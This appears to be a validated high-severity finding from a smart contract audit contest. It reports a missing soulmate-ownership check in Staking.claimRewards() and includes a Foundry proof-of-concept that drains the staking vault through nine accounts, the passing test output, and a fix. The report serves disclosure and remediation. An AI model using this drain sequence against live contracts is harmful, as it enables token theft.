Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`Staking.claimRewards()` does not check that `msg.sender` have a soulmate leads to withdraw all LoveTokens minted for `StakingVault`

Vulnerability Details

Contract Staking
Function claimRewards()
Do not check for msg.sender is in Soulmate.ownerToId mapping before calculating amountToClaim which leads timeInWeeksSinceLastClaim equal number of weeks since Jan 01 1970 to block.timestamp.
This leads that any account without soulmate can claim as much tokens as much weeks since 1970 to block.timestamp multiplied by userStakes.

POC

  1. Attacker generates 9 accounts.

  2. For each account call Airdrop.claim() which lead to withraw 19765 ether to each contract controlled by attacker

  3. For each account call loveToken.approve(address(stakingContract), 19765 ether)

  4. For each account except last call stakingContract.deposit() with 19765 ether
    4. 1. for the last account stakingContract.deposit() with considering of remaining balance stakingVault

uint stakeContractBalance = loveToken.balanceOf(address(stakingVault));
neededDeposit = stakeContractBalance / 2823;
  1. For each contract call stakingContract.claimRewards()

which leads to withdraw all LoveToken the remainder of the division stakeContractBalance % 2823 minted to stakingVault to accounts controlled by attacker.

Add this test to StakingTest.t.sol and run via forge test --mt test_ClaimRewardsWithoutSoulmate() to see it success.

function test_ClaimRewardsWithoutSoulmate() public {
string[9] memory arr = ["0", "1", "2", "3", "4", "5", "6", "7", "8"];
vm.warp(1707770320); // timestamp for Feb-12-2024 08:34:59 PM +UTC, 2823 weeks since Jan 01 1970. (UTC)
for (uint i = 0; i < 9; i++) {
address lonely = makeAddr(string.concat("lonely", arr[i]));
vm.prank(lonely);
airdropContract.claim(); // loveToken.balanceOf(lonely) == 19765 ether
vm.prank(lonely);
loveToken.approve(address(stakingContract), 19765 ether);
uint neededDeposit = 19765 ether;
if (i == 8) {
uint stakeContractBalance = loveToken.balanceOf(address(stakingVault));
neededDeposit = stakeContractBalance / 2823; // stakeContractBalance % 2823 = 1955
}
vm.prank(lonely);
stakingContract.deposit(neededDeposit);
vm.prank(lonely);
stakingContract.claimRewards();
}
assertTrue(loveToken.balanceOf(address(stakingVault)) == 1955);
}

Output:

Running 1 test for test/unit/StakingTest.t.sol:StakingTest
[PASS] test_ClaimRewardsWithoutSoulmate() (gas: 1245740)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.70ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, foundry.

Recommendations

Make the following changes in Staking.claimRewards()

https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Staking.sol#L70C1-L99C6

function claimRewards() public {
+ require(soulmateContract.ownerToId(msg.sender) != 0);
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
emit RewardsClaimed(msg.sender, amountToClaim);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.